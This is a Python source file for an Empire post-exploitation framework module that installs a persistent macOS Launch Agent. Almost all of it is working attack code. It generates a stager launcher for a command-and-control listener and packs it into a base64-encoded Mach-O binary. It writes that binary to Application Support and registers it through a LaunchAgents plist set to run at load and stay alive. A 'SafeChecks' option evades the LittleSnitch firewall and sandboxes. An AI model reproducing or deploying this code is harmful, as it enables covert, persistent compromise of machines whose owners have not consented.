Files
2018-04-11 23:40:34 +00:00

161 lines
5.7 KiB
Python

import base64
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'LaunchAgent',
# list of one or more authors for the module
'Author': ['@xorrior'],
# more verbose multi-line description of the module
'Description': ('Installs an Empire Launch Agent.'),
# True if the module needs to run in the background
'Background' : False,
# File extension to save the file as
'OutputExtension' : None,
# if the module needs administrative privileges
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : False,
# the module language
'Language' : 'python',
# the minimum language version needed
'MinLanguageVersion' : '2.6',
# list of any references/other comments
'Comments': []
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to execute module on.',
'Required' : True,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'SafeChecks' : {
'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
'Required' : True,
'Value' : 'True'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'DaemonName' : {
'Description' : 'Name of the Launch Daemon to install. Name will also be used for the plist file.',
'Required' : True,
'Value' : 'com.proxy.initialize'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
daemonName = self.options['DaemonName']['Value']
programName = daemonName.split('.')[-1]
plistFilename = "%s.plist" % daemonName
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
safeChecks = self.options['SafeChecks']['Value']
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks)
launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"")
machoBytes = self.mainMenu.stagers.generate_macho(launcherCode=launcher)
encBytes = base64.b64encode(machoBytes)
plistSettings = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0">
<plist version="1.0">
<dict>
<key>Label</key>
<string>%s</string>
<key>ProgramArguments</key>
<array>
<string>%s</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
</plist>"""
script = """
import subprocess
import sys
import base64
import os
isRoot = True if os.geteuid() == 0 else False
user = os.environ['USER']
group = 'wheel' if isRoot else 'staff'
launchPath = '/Library/LaunchAgents/' if isRoot else '/Users/'+user+'/Library/LaunchAgents/'
daemonPath = '/Library/Application Support/%(daemonName)s/' if isRoot else '/Users/'+user+'/Library/Application Support/%(daemonName)s/'
encBytes = "%(encBytes)s"
bytes = base64.b64decode(encBytes)
plist = \"\"\"%(plistSettings)s
\"\"\" %% ('%(daemonName)s', daemonPath+'%(programName)s')
if not os.path.exists(daemonPath):
os.makedirs(daemonPath)
e = open(daemonPath+'%(programName)s','wb')
e.write(bytes)
e.close()
os.chmod(daemonPath+'%(programName)s', 0755)
f = open('/tmp/%(plistFilename)s','w')
f.write(plist)
f.close()
os.chmod('/tmp/%(plistFilename)s', 0644)
process = subprocess.Popen('chown '+user+':'+group+' /tmp/%(plistFilename)s', stdout=subprocess.PIPE, shell=True)
process.communicate()
process = subprocess.Popen('mv /tmp/%(plistFilename)s '+launchPath+'%(plistFilename)s', stdout=subprocess.PIPE, shell=True)
process.communicate()
print "\\n[+] Persistence has been installed: "+launchPath+"%(plistFilename)s"
print "\\n[+] Empire daemon has been written to "+daemonPath+"%(programName)s"
""" % {"encBytes":encBytes, "plistSettings":plistSettings, "daemonName":daemonName, "programName":programName, "plistFilename":plistFilename}
return script